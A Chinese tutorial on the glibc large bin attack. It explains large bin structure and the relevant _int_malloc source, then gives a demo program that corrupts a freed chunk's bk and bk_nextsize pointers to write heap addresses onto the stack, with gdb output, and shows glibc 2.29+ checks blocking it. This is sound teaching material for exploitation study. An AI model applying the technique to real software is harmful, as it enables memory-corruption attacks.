large bin attack
large bin attack
large bin介绍
large chunk
large chunk指的整个chunk的大小(包括chunk头部分)大于等于1024(0x400)字节的chunk。
一个large chunk大概的构造是这样的:
prev_size | size |
---|---|
fd | bk |
fd_nextsize | bk_nextsize |
... | ... |
large bin
free状态的large chunk就是放在large bin中管理的
large bin链表总共有63个链表
bins 中占据 64 到 126 这个范围的位置
index | 范围 |
---|---|
64 | [0x400,0x440) |
65 | [0x440,0x480) |
... | ... |
... | ... |
126 | >0x40000 |
为什么会多出fd_nextsize、bk_nextsize两个指针域?
这是因为largebin回收的chunk范围很大,而且同一个链表的节点的大小可以不同,跟fastbin或者unsortedbin还是有很大的区别,管理的范围广了,就需要一套高效的管理机制,因此增加两个指针域,通过提升维度加强管理。(清楚large bin不仅是一个双链表,而且是个二维的双链表)
示范代码:
#include<stdio.h>
#include<stdlib.h>
int main(){
size_t *p1 = malloc(0x430);
malloc(0x10);//防止合并
size_t *p2 = malloc(0x440);
malloc(0x10);
size_t *p3 = malloc(0x450);
malloc(0x10);
int * a =malloc(0x430);
malloc(0x10);
int * b =malloc(0x440);
malloc(0x10);
int * c =malloc(0x450);
malloc(0x10);
free(p1);
free(p2);
free(p3);
free(a);
free(b);
free(c);
malloc(0x1000);
}
将代码编译后可以进行调试,我画了这张图,代表了释放如上图的6个chunk后(这些chunk如若free掉会先放入unsorted bin里面,在下一次的malloc时,过一遍分配检查机制,如果没有割裂分配出去或者没有合并,便会放入对应large bin里面),在链表的情况。
作为链表中的每一个节点,large bin有fd和bk,可以看到fd可以把每一个节点都串起来,但是显然bk却做不到,但是可以看出副链还是双链表结构,可以往下延伸叠加。large bin的fd_nextsize、bk_nextsize用于主链的连接,图中可以看到一条清晰的横向双链表。
我们可以把主链看成横向链,副链看成纵向链。横纵交替就是一张二维的链表。
再简单来说,在副链上,也就是纵向链,fd和bk连接的节点都是大小一样;而横向主链fd_nextsize和bk_nextsize连接的节点都是不一样大小的。fd_nextsize指针指向的是chunk双向链表中下一个大小不同的chunk,bk_nextsize指向的是chunk双向链表中前一个大小不同的chunk。
源码分析
为了更好理解是如何将chunk从unsortedbin放进largebin的,下面进行源码分析
在int_malloc的源代码里(glibc 2.33)关于对指针恶意修改的检测,2.29以后才有,当然这是后话。
if (in_largebin_range (size)) //判断是否属于largebin
{
victim_index = largebin_index (size); //寻找当前size在largebin中的
bck = bin_at (av, victim_index); //寻找main_arena
fwd = bck->fd;//size最大的chunk的地址
/* maintain large bins in sorted order */
if (fwd != bck) //如果表不为空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask(bck->bk))//bck->bk是当前最小的chunk,如果size比它还小,那么直接插入到表尾
{//总的来说,就是链表的插入操作
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else//如果不是最小,那就由小到大找到第一个比它小的插在它的前面
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//如果说是已经存在相同大小的chunk1,就将fwd赋为chunk1的下一个chunk2
else
{//插入到fwd的chunk的前面
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
/*libc2.29之后才有该检查
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这个检查好像和unlink一样,都是检查fwd的指针有没有被恶意修改
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");*/
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;//要作为纵向链表的,fwd就是chunk2,bck就是chunk1;要做为横向链表的,fwd->bk是前一个chunk或者main_arene,正常情况下面的条件势必不符合
/* libc2.29之后才有该检查
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同样是纵向检查指针有没有被恶意修改*/
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//如果表为空,那么指针自指
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//不管到底有没有重复,都进行一次纵向链接,保证一些指针为NULL
largebin attack利用方式(libc-2.23)
以上的内容清楚了解后,我们才可以进一步研究large bin attack的利用方式
用以下一道程序浅显展示一下该漏洞利用方式
程序名lba.c
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);
free(p1);
free(p2);
void* p4 = malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[2] = 0;
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
编译
gcc -no-pie -g lba.c -o lba
更换libc库为2.23
patchelf --set-interpreter /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./lba
gdb调试
在程序下断点,运行可以得到这两个指针的地址
stack_var1 (0x7fffffffe498): 0
stack_var2 (0x7fffffffe4a0): 0
继续,在free完p3后,内存回收情况如下(注意根据unsortedbin先进先出的原则,前一步的malloc会已经将p1分割,所以malloc暂时是不会分割p2和p3的):
由于在free掉p2后没有清空指针,这样就可以uaf
继续利用
//源码
p2[-1] = 0x3f1;
p2[0] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[2] = 0;
p2[3] = (unsigned long)(&stack_var2 - 4);
修p2指针指向的一些值,此时的p2还是free状态
pwndbg> x/10gx p2-2
0x405360: 0x0000000000000000 0x00000000000003f1
0x405370: 0x0000000000000000 0x00007fffffffe488
0x405380: 0x0000000000000000 0x00007fffffffe480
0x405390: 0x0000000000000000 0x0000000000000000
0x4053a0: 0x0000000000000000 0x0000000000000000
根据largebin的节点的构造
我们先把大小尺寸改为0x3f1
然后往p2的bk写入&stack_var1 - 2(0x7fffffffe498-0x10=0x00007fffffffe488)
往p2的bk_nextsize写入&stack_var1 - 4(0x7fffffffe4a0-0x20=0x00007fffffffe480)
这是什么意思呢?下图很好的画了出来
也就是说当前P2的bk指向的是一个以stack_var1_addr - 0x10为头指针的chunk,这里记做fake_chunk1,那么就意味着stack_var1_addr是作为这个fake_chunk1的fd指针。那么此时P2 --> bk --> fd就是stack_var1_addr
P2的bk_nextsize指向的是一个以stack_var2_addr - 0x10为头指针的chunk,这里记做fake_chunk2,那么就意味着stack_var2_addr是作为这个fake_chunk2的fd_nextsize指针。那么此时P2 --> bk_nextsize --> fd_nextsize就是stack_var2_addr
再进入下一步 malloc(0x90)
此时malloc机制会尝试把p3放入largebin中,也就是会进入上面源码分析中的那段malloc源码
此时我们已经构造好chunk内的指针,看接下来发生的事情
首先看是否为最小
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask(bck->bk))
明显不是,之后程序会先拿p3去跟p2进行比较,看是否小于p2也就是链头的size
while ((unsigned long) size < chunksize_nomask (fwd))
也不是,进入下一个相等的比较
if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))
由于p2的size已经被我们提前改为0x3f1,所以也不会相等
那就进入大于的情况,就是进入如下代码
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
进行同等替换,会发生如下赋值:
{ p3->fd_nextsize = p2;
p3->bk_nextsize = p2->bk_nextsize;//p3->bk_nextsize=stack_var2_addr-0x20
p2->bk_nextsize = p3;//stack_var2_addr=p3
p3->bk_nextsize->fd_nextsize = p3;
}
bck = p2->bk;//stack_var1_addr-0x10
关键在于 p2->bk_nextsize = p3
这将让stack_var2_addr=p3也就是stack_var2存放了p3的头指针
继续往下
p3->bk = bck;//p3->bk = stack_var1_addr-0x10
p3->fd = fwd;
fwd->bk = p3;
bck->fd = p3;//stack_var1_addr=p3
关键在于bck->fd = p3
这一步就让stack_var1_addr=p3 ,就是stack_var1存放了p3的头指针
程序最后也确实打印出来两个指针分别存放着的p3的头指针地址
stack_var1 (0x7fffffffe498): 0x4057a0
stack_var2 (0x7fffffffe4a0): 0x4057a0
libc2.29之后的检查
在libc2.29之后会加入检查代码,实现对指针恶意修改的检测,我们如果照上述的利用方式将会失效
我们可以实践一下,注意绕过tcache,修改一下实验代码
root@ubuntu20:~/lba# cat lba.c
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned a[7];
unsigned b[7];
for(int i=0;i<7;i++){
a[i]=malloc(0x320);
b[i]=malloc(0x400);
}
unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);
for(int i=0;i<7;i++){
free(a[i]);
free(b[i]);
}
free(p1);
free(p2);
void* p4 = malloc(0x90);
free(p3);
p2[-1] = 0x3f1;
p2[0] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[2] = 0;
p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
编译
root@ubuntu20:~/lba# gcc -no-pie -g lba.c -o lba
查看libc版本为2.31
root@ubuntu20:~/lba# ldd lba
linux-vdso.so.1 (0x00007ffff7fce000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcd000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
root@ubuntu20:~/lba# ll /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Feb 24 19:42 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.31.so*
依照2.23的利用方式,我们再把p3放进largebin时将不是一帆风顺,而是会面临两次检查
检查1
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd是p2,所以fwd->bk_nextsize->fd_nextsize=p2->bk_nextsize->fd_nextsize = stack_var2_addr
要让stack_var2_addr与fwd(p2)进行比较,显然是不相等,程序就会报错
检查2
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
bck = p2->bk=stack_var1_addr-0x10,所以bck->fd=stack_var1_addr
要让stack_var1_addr 与fwd(p2)进行比较,显然是不相等,程序报错,如果前面的检查1就报错,程序就到达不了这里
我们把程序运行,结果不出意料
root@ubuntu20:~/lba# ./lba
stack_var1 (0x7fffffffe480): 0
stack_var2 (0x7fffffffe488): 0
malloc(): largebin double linked list corrupted (nextsize)
Aborted (core dumped)